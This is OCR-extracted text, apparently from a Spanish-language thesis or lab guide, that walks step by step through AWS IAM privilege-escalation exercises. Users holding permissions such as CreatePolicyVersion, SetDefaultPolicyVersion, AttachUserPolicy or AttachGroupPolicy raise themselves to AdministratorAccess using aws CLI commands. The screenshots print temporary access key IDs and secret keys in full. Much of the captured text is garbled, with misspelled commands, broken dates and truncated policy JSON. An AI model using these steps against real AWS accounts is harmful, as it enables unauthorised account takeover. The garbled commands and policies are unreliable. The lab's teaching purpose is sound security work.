> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc13-
AddUserToGroup-user --profile privesc13

Figura 85 Confirmacion de la adiccion del usuario al grupo

PS C:\Users\Gerh= aws lam add-user-to-group Group-Root-Spartan privescl3-AddUser

ToGroup-user privescl3

Fuente: Autoria Propia
Si se revisa ahora se puede apreciar que el usuario inicial tiene privilegios de

administrador.



Figura 86 Verificacion de los privilegios del usuario

Usuarios > lprivesc1S-AddUserTcGroup-user

Resumen
ARN de usuario
Ruta
Hora de creacién
Permisos Grupos (1) Etiquetas

Afiadir un usuario a los grupos

Nombre de grupo ~

I Group-Root-Spartan |

Fuente: Autoria Propia

arn:aws:iam: 1651927172911 user/privesc13-AddUserToGroup-user £

2022-05-10 23:05 CDT

Credenciales de seguridad Access Advisor

Permisos asociados

AdministratorAccess

Ejercicios de escalacion de Permisos Sobre Politicas

Tan importante como limitar los permisos que los usuarios tienen sobre sus propias

cuentas y las de otros usuarios es limitar los permisos en las politicas. Al final, las politicas son

las que otorgan permisos a los usuarios. Los usuarios pueden ser parte de un grupo o pueden

asumir roles, pero las politicas aplicadas a esos grupos y roles son como se asignan los permisos.

Por lo tanto, los administradores deben tener mucho cuidado al asignar permisos a los usuarios

sobre las politicas. Especificamente, los siguientes permisos de politica pueden conducir a una

escalada de privilegios:

e iam:CreatePolicyVersion

e iam:SetDefaultPolicyVersion
e iam:AttachUserPolicy

.

iam:AttachGroupPolicy

iam:AttachRolePolicy



e iam:PutUserPolicy
e iam:PutGroupPolicy
e iam:PutRolePolicy
El permiso para crear una nueva version de la politica le permite a un usuario reemplazar
completamente los permisos en una politica. Si esta politica se aplica, esto abre la puerta para
que el usuario simplemente se asigne privilegios administrativos completos de AWS. Adjuntar
una politica o crear una nueva politica para un usuario, grupo o funcion puede aumentar de
manera similar los permisos aplicados al usuario.
Permiso iam: CreatePolicyVersion
Un usuario con el permiso “iam:CreatePolicyVersion” puede crear una nueva version de
una politica existente. En consecuencia, pueden crear una politica que permita mas permisos de
los que tienen actualmente.
Explicacion practica

Primero, se debe localizar el usuario privescl-CreateNewPolicyVersion-user



Figura 87 Usuario privescl-CreateNewPolicyVersion-user

Usuarios » I privesc1-CreateNewPolicyVersion-user

Resumen
ARN de usuario arn:aws:iam::651927172911:user/privesc1-CreateNewPolicyVersion-user
Ruta /
Hora de creacion 2022-05-10 23:.04 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

~ Politicas de permisos (1 politica aplicada)

Anadir permisos

Nombre de la politica «

Asociada directamente
3 privesc1-CreateNewPolicy\Version
Fuente: Autoria Propia
Este usuario tiene la siguiente politica:

Figura 88 Politica del usuario privescl-CreateNewPolicyVersion-user

ARN de politica [arn:aws:iam::6519271?2911:policy#privesm-CreateNewPolicy\a’ersion ) ]

Descripcion Allows privesc via iam:CreatePolicyVersion

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {1 JSON | Editar la politica
{
"Statement": [
{
"Action": ersion",
"Effect™:
"Resource™: "*"
¥
] El
"Version": "2812-18-17"

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:



Figura 89 Rol del usuario privescl-CreateNewPolicyVersion-user

AM Roles

privesc1-CreateNewPolicyVersion-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05°00) 8 arm:aws:iam:651927172911 role/privesc1-CreateNewPolicyVersion-role
Ultima actividad Duracién maxima de |2 sesion

Ninguno 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privesc1-CreateNewPolicyVersion-user

Figura 90 Politica del usuario privescl-CreateNewPolicyVersion-user

Users\Gerh> aws 1am list-attached-user-policies privescl-CreateNewPol rslon—user

"AttachedPolicies": [
I
L

"Polic

“PolicyArn": "arn:aws:iam:: 27172 rivescl-CreateNewPolicyVersion"

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privescl-

CreateNewPolicyVersion --version-id v1



Figura 91 ARN del usuario privescl-CreateNewPolicyVersion-user

ersion arn:aws:iam: :651927172911:policy/privescl-CreateNewPolicyVersi

rsion”,

]J’

"Version": "2812-18-17"
bo
“VersionI
"“IsDefaul r n": true,

"CreateDate": "2022-05-11T04:04:29+00:00"

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privescl-
CreateNewPolicyVersion-role --role-session-name privescl

Figura 92 Credenciales con STS del del usuario en mencion

serh> aws sts assume-role arn:aws:iam::651927172911:role/privescl-CreateNewPolicyVersion-role
privescl

YMEmWFwIhAL
OYOLTLrTDFf

v+TB]

ijQPSWAlPDéBdGEELK

r

"AssumedRoleUser": {
"AssumedRoleld":
“Arn": "arn:aws:sts::

Fuente: Autoria Propia
A partir de este momento, se esta trabajando con el usuario privescl-

CreateNewPolicyVersion-user.



Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privescl

Figura 93 Ejecucion del comando aws configure

PS C:\Users\Gerh= aws confligure privescl
AWS Access Key ID [None]: ASIAZPSPDG4X462HANEW

AWS Secret Access Key [Nonel: L7cnbMn7t8Jg6L0GWIHS8ndSYnaews5ICTcjFBOMh
Default region name [Nonel: us—east-2
Default output format [Mone]: json

Fuente: Autoria Propia
El token se especificara dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privescl

Figura 94 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh> aws sts get-caller-identity privescl

"UserId": "AROAZPSP GUSMHWUV: privescl",

"Account": "651927172911",

"Arn": "arn:aws:sts: 651927172911 assumed-role/privescl-CreateNewPolicyVersion—-role/privescl”

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privescl-

CreateNewPolicyVersion-user --profile privescl



Figura 95 Error al intentar agregar al grupo de administradores

P5 C:\Users\Gerh> aws iam add-user-to—group Group-Root-Spartan
privescl-CreateNewPolicyVersion-user privescl

An error occurred (AccessDenied) when calling the AddUserToGroup operation:

User: arn:aws:sts::651927172911:assumed-role/privescl-CreateNewPolicyVersion
-role/privescl is not authorized to perform: iam:AddUserToGroup on resource:

group Group—Root-Spartan because no identity-based policy allows the iam:Ad
dUserToGroup action

Fuente: Autoria Propia
En este escenario, simplemente se tiene que crear un documento de politica que permite
todas las acciones de AWS:

Figura 96 Creacion del documento de politica

C:\Users\Gerh\Desktop> type .‘\admin_politica.json

My
W

ersion™: "2812-18-17",
"Statement": [

r

1

"51d": "PermitirTodo",

"Effect": "Allow",

Action": .
"Resource”: "*"

Fuente: Autoria Propia

Ahora simplemente se tiene que crear una nueva version de la politica que se aplica al
usuario.

> aws iam create-policy-version --policy-arn
arn:aws:iam::651927172911:policy/privesc1-CreateNewPolicy Version --policy-document

file://admin_politica.json --set-as-default --profile privescl



Figura 97 Creacion de una nueva version de la politica

ersion arn:aws
/fersion
privescl

VersionId": "w2",
"IsDefaultVersion": true,
"CreateDate": "2022-85-14T19:25:04+00:68"

Fuente: Autoria Propia
Si se revisa ahora las versiones de la politica inicial, se logra identificar una version #2
con los valores especificados.

Figura 98 Verificacion de la nueva politica

Politicas > Iprlvesd-CreateNeu\-PollcyVermcn|

Resumen
ARN de politica arn:aws:iam::651927172911:policy/privesc1-CreateNewPolicyVersion 7]
Descripeion Allows privesc via lam:CreatePolicyVersion
Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor

Cada vez que se actualiza una politica, se crea una nueva version. Puede tener hasta 5 versiones. Mas informacion

Version Hora de creacion
» |Version 2 (Predeterminado) 2022-05-14 14:25 CDT
{
"Wersion": "2812-18-17",
"Statement”: [
{
"Sid": "PermitirTodo™,
"Effect”: "Allow”,
"Action”: "
"Resource™: "*"
¥
1
b Version 1 2022-05-10 23.04 COT

Fuente: Autoria Propia



Permiso iam: SetDefaultPolicyVersion

Cuando se realiza una modificacioén en una politica en AWS, se genera automaticamente
una nueva version de dicha politica que incorpora los cambios efectuados. En caso de que se
desee revertir estos cambios, es posible volver a una version previa de la politica. Sin embargo,
la capacidad de determinar cual de estas versiones es la version predeterminada o activa, recae en
los usuarios que disponen del permiso "iam:SetDefaultPolicyVersion". Estos usuarios tienen la
facultad de establecer cual de las versiones de la politica se considera como la version activa.

Explicacion practica

Primero, se debe localizar el usuario privesc2-SetExistingDefaultPolicyVersion-user

Figura 99 Usuario privesc2-SetExistingDefaultPolicyVersion-user

UJsuarios >| privesc2-SetExistingDefaultPolicyVersion-user |

Resumen
ARN de usuario I arn:aws:iam::651927172911:user/privesc2-SetExisting DefaultPolicyVersion-user (]
Ruta
Hora de creacion 2022-06-10 23:05 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

~ Politicas de permisos (1 politica aplicada)

Anadir permisos

Nombre de la politica ~
Asociada directamente

» privesc2-SetExistingDefaultPolicyVersion

Fuente: Autoria Propia

Este usuario tiene la siguiente politica:



Figura 100 Politicas del usuario privesc2-SetExistingDefaultPolicyVersion-user

ARN de politica [ arm:aws:iam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion (3] ]

Allows privesc via iam:SetDefaultPolicyVersion.

Access Advisor

Descripcion
Permisos Utilizacion de la politica Etiquetas Versiones de la politica
Resumen de la politica {1JS0ON | Editar la politica
{
"Statement": [
{
"Action": ,
"Effect": B
"Resource":
}
]J
"Version™:
}

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:

Figura 101 Roles de usuario privesc2-SetExistingDefaultPolicyVersion-user

1AM Roles privesc2-SetExistingDefaultPolicyVersion-role

privesc2-SetExistingDefaultPolicyVersion-role

Resumen

Fecha de creacion
May 10, 2022, 23:05 (UTC-05:00)

Ultima actividad

Ninguno

Fuente: Autoria Propia

ARN

1 am-aws:iam 651927172911 role/privesc2-SetExistingDefaultPolicyVersion
-role

Duracién maxima de la sesidn
1 hora

Otra manera de validar lo anterior, es por medio del comando:

> aws iam list-attached-user-policies --user-name privesc2-

SetExistingDefaultPolicy Version-user



Figura 102 Politicas del usuario privesc2-SetExistingDefaultPolicyVersion-user

\Users\Gerh\Desktop> aws iam list-attached-user-policies privesc2-SetExistingDefaultPolicyVersion-user

"AttachedPolicies": [

DefaultPol rsion”,
911:policy/privesc2-SetExistingDefaultPolicyversion”

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc2-
SetExistingDefaultPolicyVersion --version-id v1

Figura 103 ARN del usuario del usuario en mencion

op= aws lam get-policy-version arn:aws:lam::651927172911:pol privesc2-
rsion vl

ersion": {
ent": {

atement”: [

“"Action": "iam:SetDefaultPolicyVersion",
"Effect": "Allow",
"Resource": "*"

}.

1,

“Version": "2812-16-17"

}J’
"VersionId":
"IsDefaul
“CreateDate":

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc2-

SetExistingDefaultPolicy Version-role --role-session-name privesc2



Figura 104 Credenciales con STS de usuario en mecion

\Desktop> aws sts assume-role arn:aws:iam: 651927172911 :role/privesc2-SetExisting
ion-role privesc2

80 N2rCIeHlaH1il
48Ph2fdMIc+u
fzet

MR:privesc2",
27172911:assumed-role/privesc2-SetExistingDefaultPoli rsion-role/privesc

Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc2-
SetExistingDefaultPolicy Version-user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc2

Figura 105 Ejecucion del comando aws configure

\Gerh= aws configure privescl
AWS Access Key ID [Nonel: ASIAZPSPDGAX462ZHANEW

AWS Secret Access Key [None]: L7cnbMn7t8]1g6L0GWIHS88ndSYnaewbICTcjFBAMh

Default region name [None]: us—east-2 )
Default output format [Nonel: json

Fuente: Autoria Propia

El token se especificard dentro del archivo plano de credenciales.



aws sts get-caller-identity --profile privesc2

Figura 106 Ejecucion del comando aws sts get-caller-identity

Users\Gerh\Desktop> aws sts get-caller—identity privesc2

"UserId": "ARDAZPS 547DN2XMR.-privesc2”,
"Account": g
"Arn": "a : i 92 J ersion-role/privesc2"

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc2-
SetExistingDefaultPolicy Version-user --profile privesc2

Figura 107 Error al intentar agregar al grupo de administradores

Gerh\Desktop> aws 1lam add-user-to-group Group-Root-Spartan privesc2-Set
ExistingDefaultPolicyVersion-user privesc2

An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:aws:sts::651927172911:
assumed-role i SetExistingDefaultPoli rsion-role, is not authorized to perform: iam:AddUse
rToGroup on resource: group Group—Root-Spartan because no identity-based policy allows the iam:AddUserToGrou
p action

Fuente: Autoria Propia

En este escenario, simplemente se tiene que analizar cuantas versiones tiene la politica y
luego establecer como predeterminada la politica con més privilegios:

> aws iam list-policy-versions --policy-arn arn:aws:iam::65192717291 1:policy/privesc2-

SetExistingDefaultPolicyVersion



Figura 108 Visualizacion de las versiones de las politicas

aws lam list-policy-versions arn 927172911:policy
yVersion

"versions": [

"VersionId": "w2"
.

"IsDefaultVersion": false,
“"CreateDate": "2022-05-14T21:32:57+08:08"

"VersionId": "w1",
"IsDefaultVers - true,
“"CreateDate": "2022-05-11T04:084:41+08:08"

Fuente: Autoria Propia
En la evidencia previa, se puede analizar que la politica del usuario tiene dos versiones.
Y actualmente, la version de la politica esta configurada con el valor predeterminado v1.
> aws iam get-policy --policy-arn arn:aws:iam::651927172911:policy/privesc2-
SetExistingDefaultPolicyVersion

Figura 109 Version actual de la politica

arn:aws:ilam::651927172911:policy/pr

- "privesc2-SetExistingDefaultPolicyVersion",
- "ANPAZPSPD ANSD o
n": “arn:aws:ilam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion”,
"Path". "s",
"DefaultVersionId": "wvi1",

"AttachmentCount": 2,
"PermissionsBoundaryUsageCount™: @,
"IsAttachable": true,

"Descr ion": "Allows privesc wia ilam:SetDefaultPolicyVersion.",
"CreateDate": "20822-05-11T04:0

"UpdateDate": "2822-05-14T21

"Tags": []

Fuente: Autoria Propia
Ahora simplemente se tiene que configurar que la version predeterminada para la politica

sea la version #2.



> aws iam set-default-policy-version --policy-arn
arn:aws:iam::651927172911:policy/privesc2-SetExistingDefaultPolicyVersion --version-id v2 --
profile privesc2
Figura 110 Reasignacion de la version de politica actual

arn:aws:iam::-651927172911:policy/p
tistingDefaultPolicyVersion / privescz
rh\Desktop> aws iam get-policy arn:aws:iam::651927172911:policy
yVersion

/privesc2-SetExist

istingDefaultPoli rsion'k
5",

-policy/privesc2-SetExistingDefaultPolicyVersion",

"DefaultVersionId”: "v2",
"AttachmentCount": 2,

"PermissionsBoundaryUsageCount™: 8,

"IsAttachable™: true,

"Description”: "Allows privesc via iam:SetDefaultPolicyVersion.",
"CreateDate": "2822-05-11T@

"UpdateDate": 85-14T21:

"Tags": []

Fuente: Autoria Propia
Si se revisa ahora la version de la politica actual, se logra apreciar que se tiene los

maximos privilegios.



Figura 111 Verificacion de la nueva version actual de politica

Gerh\Desktop> aws ilam get-policy-version arn:aws:lam::65
etExistingDefaultPolicy v privesc2

NVersion": {
"Document™: {
"Wersion": "2812-168-17",
"Statement": [
1
"51d": "PermitirTodo",
"Effect”: "Allow",

Action": "#",
"Resource": "*"

}' ]

"VersionId": “wv2",

"IsDefaultVersion": true,

"CreateDate": "2022-05-14T21:32:57+06:00"

Fuente: Autoria Propia
Permiso iam: AttachUserPolicy
Un usuario que posee el permiso "iam:AttachUserPolicy" tiene la capacidad de elevar sus
propios privilegios al afiadir una politica a un usuario al cual tiene acceso. Esto se traduce en que
el usuario puede incorporar los permisos especificados en esa politica a sus propias credenciales.
Explicacion practica

Primero, se debe localizar el usuario privesc7-AttachUserPolicy-user



Figura 112 Usuario privesc7-AttachUserPolicy-user

[Usuarios > privesc/-AttachUserPolicy-user

Resumen

ARN de usuario arnaws’iam:651927172911:user/privesci-AttachUserPolicy-user ¢f

Ruta i

Hora de creacion 2022-05-10 23:04 COT
m Grupos Etiquetas Credenciales de seguridad Access Advisor
~ Politicas de permisos (1 politica aplicada)
Anadir permisos

Nombre de la politica -

Asociada directamente

» privesci-AttachUserPolicy

Fuente: Autoria Propia
Este usuario tiene la siguiente politica:

Figura 113 Politica de usuario privesc7-AttachUserPolicy-user

ARN de politica arn:awsiam::651927172911:policy/privescT-AttachUserPolicy

Descripcion Allows privesc via iam:AttachUserPalicy

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {}JSON | Editar la politica
"Statement”: [
I
L
"Action": "iam:AttachUserPolicy”,
"Effect”: "Allow"
"Resource”: "*"
1
J
1.
"Wersion": "2812-18-17"

[e—

Fuente: Autoria Propia



Este usuario tiene el siguiente rol:

Figura 114 Rol de usuario privesc7-AttachUserPolicy-user

AM Roles

privesc7-AttachUserPolicy-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) 2 arn:aws:iam:851927172911 role/privescr-AttachUs
erPolicy-role

Ultima actividad Duracion maxima de la sesion

Ninguno 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privesc7-AttachUserPolicy-user

Figura 115 Politica de usuario privesc7-AttachUserPolicy-user

privesc7-AttachUser

lvesc7-AttachUserPolicy",
> "arn:aws:lam::651927172911:policy/privesc7-AttachUserPolicy"

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc7-

AttachUserPolicy --version-id v1



Figura 116 ARN del usuario privesc7-AttachUserPolicy-user

\Desktop= aws 1lam get-policy-version arn:aws:lam::651927172911:p
rivesc7-AttachUserPolicy vl

r

"PolicyVersion": {
"Document™: {
"G ntement
I
1

“Action": “iam:AttachUserPolicy
"Effect": "Allow",

1,

nyy

Version"
1

I

My

VersionId" :
"IsDefaultVer
"CreateDate": "2022-05-11T04:05:04+00

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc7-
AttachUserPolicy-role --role-session-name privesc?
Figura 117 Credenciales con STS del usuario privesc7-AttachUserPolicy-user

\Desktop> aws sts assume-role arn:aws:iam: 9 72911:role/p
sc7-AttachUserPolicy-r privescy

JESIETHLLESSF
SessionToke

r

"AssumedRoleUser": {
"AssumedRoleId": "AROAZPSPDG4XT7PFZ6E4DX:privesci”,
“Arn": "arn:aws:sts::651927172911:assumed-role/privesci-AttachUserPolicy-role/privesc




Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc7-AttachUserPolicy-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc7

Figura 118 Ejecucion del comando aws configure

P5 C:\Users\Gerh\Desktop> aws configure privescy
AWS Access Key ID [None]: ASIAZPSPDG4X75EXKCPF

AWS Secret Access Key [Monel: 3V6d87RRnNLUoSmkASO3ROsqBh7BJEDDrsYN1dvf
Default region name [Nonel: us-east-2
Default output format [Nonel: json

Fuente: Autoria Propia
El token se especificara dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc7

Figura 119 Ejecucion del comando aws sts get-caller-identity
C:\Users\Gerh\Desktop> aws sts get-caller-identity privesc?

“UserId": "AROAZPSPDG4X7PFZ6E4DX:privesc?",

"Account": 51927172911",
“Arn": "arn:aws:sts::651927172911:assumed-role/privesc7-AttachUserPolicy-role/privescy"

Fuente: Autoria Propia

Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:



> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc7-
AttachUserPolicy-user --profile privesc7

Figura 120 Error al intentar agregar al grupo de administradores

Users\Gerh\Desktop> aws iam add-user-to—group Group-Root-Spartan
privesc7-AttachUserPolicy-user privescy

An error occurred (AccessDenied) when calling the Ad Group operation: User: arn:aws:sts
2651927172911 assumed-role/privesc7-AttachUserPolic / vesc? 1s not authorized to perf
orm: iam:AddUserToGroup on resource:. group Group—Root-Spartan because no identity-based polic
y allows the iam:AddUserToGroup action

Fuente: Autoria Propia

En este escenario, simplemente se tiene que adjuntarnos la politica de administrador al
usuario:

> aws iam attach-user-policy --user-name privesc7-AttachUserPolicy-user --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess --profile privesc7
Figura 121 Adjuntar la politica de administrador al usuario

PS r rh ctop> aws 1lam attach-user—polic privesc7-AttachUserPolicy—us
er caws:iam: -aws:policy/AdministratorAccess privescy

PS C:\Users\Gerh\Desktop> aws iam list-attached-user—polici privesc7-AttachUser
Policy-user

r

L

"AttachedPolicies": [

- "AdministratorAccess",
‘arn-aws:lam: -aws:policy/AdministratorAccess"”

privesc/-AttachUserPolicy”,
arn:aws:lam::651927172911:policy/privesc7-AttachUserPolicy”

Fuente: Autoria Propia
Si se revisa ahora las politicas asociadas al usuario, se logra apreciar que se ha adjuntado

exitosamente la politica de administrador al usuario inicial.



Figura 122 Verificacion de las politicas del usuario

Usuarios » |privesc/-AttachUserPolicy-user |

Resumen

ARN de usuario arn:aws:iam::651927172911 user/privescT-AttachUserPolicy-user

Ruta

Hora de creacion 2022-05-10 23:04 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor
~ Paoliticas de permisos (2 politicas aplicadas)

Ariadir permisos |

Nombre de la politica « Tipo de politica

Asociada directamente

b AdministratorAccess Politica administrada por AWS

b privescT-AttachUserPaolicy Politica administrada

Fuente: Autoria Propia
Permiso iam: AttachGroupPolicy
Un usuario que cuenta con el permiso "iam:AttachGroupPolicy" tiene la capacidad de
incrementar sus propios privilegios al adjuntar una politica a un grupo al que pertenece, lo que
resulta en la adicion de los permisos establecidos en esa politica a las credenciales del usuario.
Explicacion practica

Primero, se debe localizar el usuario privesc8-AttachGroupPolicy-user



Figura 123 Usuario privesc8-AttachGroupPolicy-user

[Usuarios »  privescd-AttachGroupPolicy-user ]

Resumen

ARN de usuario arn:aws:iam::651927172911:user/privescd-AttachGroupPolicy-user

Ruta /
Hora de creacion 2022-05-10 23.04 CDT

Permisos Grupos (1) Etiquetas Credenciales de seguridad Access Advisor
~ Politicas de permisos (1 politica aplicada)
Anadir permisos
Nombre de la politica «

Asociada directamente

» privescd-AttachGroupPolicy

Fuente: Autoria Propia
Este usuario tiene la siguiente politica:

Figura 124 Politica de usuario privescS-AttachGroupPolicy-user

ARN de politica [ arn:aws:iam::651927172911 :pnIi{:y:'plivescﬁ-.ﬂmachGr{JupPoIi{:y] vl

Descripcion Allows privesc via iam:AttachGroupPolicy

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {}JS0ON | Editar la politica
‘ “Statement”: [

I

L
"Action": "ilam:AttachGroupPolicy”,
"Effect”: "Allow",
‘Resource™: "®"

e

1.

[r—

Fuente: Autoria Propia



Este usuario tiene el siguiente rol:

Figura 125 Rol de usuario privesc§-AttachGroupPolicy-user

1AM Roles privescS-AttachGroupPolicy-role

privesc8-AttachGroupPolicy-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) ¥ arn:aws:iam:651927172911 role/privesc8-AttachGro
upPolicy-role

Ultima actividad Duracién maxima de la sesion

Minguno 1 hora

Fuente: Autoria Propia

Este usuario hace parte del siguiente grupo:



Figura 126 Grupo de usuario privesc8-AttachGroupPolicy-user

AM Grupos de usuarios

privesc8-AttachGroupPolicy-group

Resumen

Nombre del grupo de usuarios

privescd-AttachGroupPolicy-group

Permisos Access Advisor

Usuarios de este grupo Informacicn

Nombre de usuario (£

| privesc8-AttachGroupPolicy-user

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privesc8-AttachGroupPolicy-user

Figura 127 Politica de usuario privesc8-AttachGroupPolicy-user

PS D:\METAS> aws iam list-attached-user—policies privesc8-AttachGroupPolicy—-user
r
L

"AttachedPolicies": [
I
L

“PolicyNa > "pr i hGroupPolicy
927172911:p privesc8-AttachGroupPolicy”

Fuente: Autoria Propia
Obteniendo informacion relevante para la verificacion de configuracion utilizando el

ARN de la politica del usuario verificado:



> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc§-
AttachGroupPolicy --version-id v1
Figura 128 ARN de usuario privesc8-AttachGroupPolicy-user

cy-version arn:aws:iam:-651927172911:policy/prive

"Documer |
"Statement”: [

{
“Action": “iam:AttachGroupPolicy",
"Effect": "Allow",
"Resource”: "*"
1
J
1,
“"Version": "2812-16-17"
1
I
"VersionId": "wv1",
"IsDefaultVersion": true,
“"CreateDate": "2022-085-11T04:084:42+06:00"

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc8-

AttachGroupPolicy-role --role-session-name privesc8



Figura 129 Credenciales con STS de usuario privesc8-AttachGroupPolicy-user

arn:aws:iam: :651927172911:role/privesc8-AttachG
privescd

"Credentials": {
"Acces

3 3NtHbuh7eu
'Expiration”:
"AssumedRolelUser": {
"AssumedRoleId": "A PSPDG4XQ7USLR7FH: privescs"
"Arn": "arn:aws:sts::651927172911:assumed-role/privesc8-AttachGroupPolicy-role/priv

Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc8-AttachGroupPolicy-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc8
Figura 130 Ejecucion del comando aws configure

METAS> aws conflgure privescs

AWS Access Key ID [Nonel: ASIAZPSPDG4X4W255HVC
AWS Secret Access Key [Nonel: aTkPv8zCN2Kafhz2BN3tHdAOuSHOBkpTw2eQBU4V

Default region name [Nonel: us—east-2
Default output format [Nonel: json

Fuente: Autoria Propia



El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc8

Figura 131 Ejecucion del comando aws sts get-caller-identity

D-\METAS> aws sts get—calle}—identity privescs

"UserId": "AROAZPSPDG4XQ7U5SLR7FH:privescg",
"Account™: "651927172911",
"Arn": "arn:aws:sts::651927172911:assumed-role/privescd-AttachGroupPolicy-role/privescs

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc§-
AttachGroupPolicy-user --profile privesc8
Figura 132 Error al intentar agregar al grupo de administradores

Group—Root-Spartan privescs

M-aws.s

t5::651927172911:assumed-role/priv C rive is not authorized to
perform: iam:AddUserToGroup on resour g Group-Root-Spartan because no identity-base
d policy allows the iam:AddUserToGroup action

Fuente: Autoria Propia

En este escenario, simplemente se tiene que adjuntarnos la politica de administrador al
grupo:

> aws iam attach-group-policy --group-name privesc8-AttachGroupPolicy-group --

policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile privesc8



Figura 133 Adjuntar la politica de administrador al grupo

P5 D:\METAS> aws lam attach—group-policy privesc8-AttachGroupPolicy-group
arn:aws:iam::aws:policy/AdministratorAccess privesct
PS D:\METAS> aws lam list-attached-group-policies privesc8-AttachGroupPolicy—g
roup
T
L
"AttachedPolicies": [

I
L

“PolicyName": “AdministratorAccess",
“PolicyArn": "arn:aws:iam:-aws:policy/AdministratorAccess”

Fuente: Autoria Propia
Si se revisa ahora las politicas asociadas al usuario desde el grupo, se logra apreciar que
se ha adjuntado exitosamente la politica de administrador al grupo inicial.

Figura 134 Verificacion de las politicas del grupo

AM Grupos de usuarios

|privescS-AttachGroupPoIicy-group |

Resumen

Mombre del grupo de usuarios

privesci-AttachGroupPolicy-group

Usuarios Access Advisor

Politicas de permisos Informacién

Nombre de la politica

| &3] AdministratorAccess |

Fuente: Autoria Propia



Permiso iam: AttachRolePolicy

Un usuario con el permiso “iam:AttachRolePolicy” puede aumentar los privilegios
adjuntando una politica a una funcion a la que tiene acceso, agregando los permisos de esa
politica al usuario.

Explicacion practica

Primero, se debe localizar el usuario privesc9-AttachRolePolicy-user

Figura 135 Usuario privesc9-AttachRolePolicy-user

Usuaries » | privesc9-AttachRolePolicy-user |

Resumen
ARN de usuario arn:awsiam::651927172911:user/privesc3-AttachRolePolicy-user ¢ I
Ruta
Hora de creacion 2022-05-10 23:05 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

- Politicas de permisos (1 politica aplicada)
Anadir permisos

Nombre de la politica

Asociada directamente

» privescd-AttachRolePolicy

Fuente: Autoria Propia

Este usuario tiene la siguiente politica:



Figura 136 Politica del usuario privesc9-AttachRolePolicy-user

ARN de politica [arn:aws:iam::65192?'1?2911:policprrivech—AnachRulePolicy i) I

Descripcion Allows privesc via iam:AttachRolePolicy

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {}JSON | Editar la politica
"Statement": [
I
L
"Action™: s
"Effect™:
"Resource”:
1
I
1.
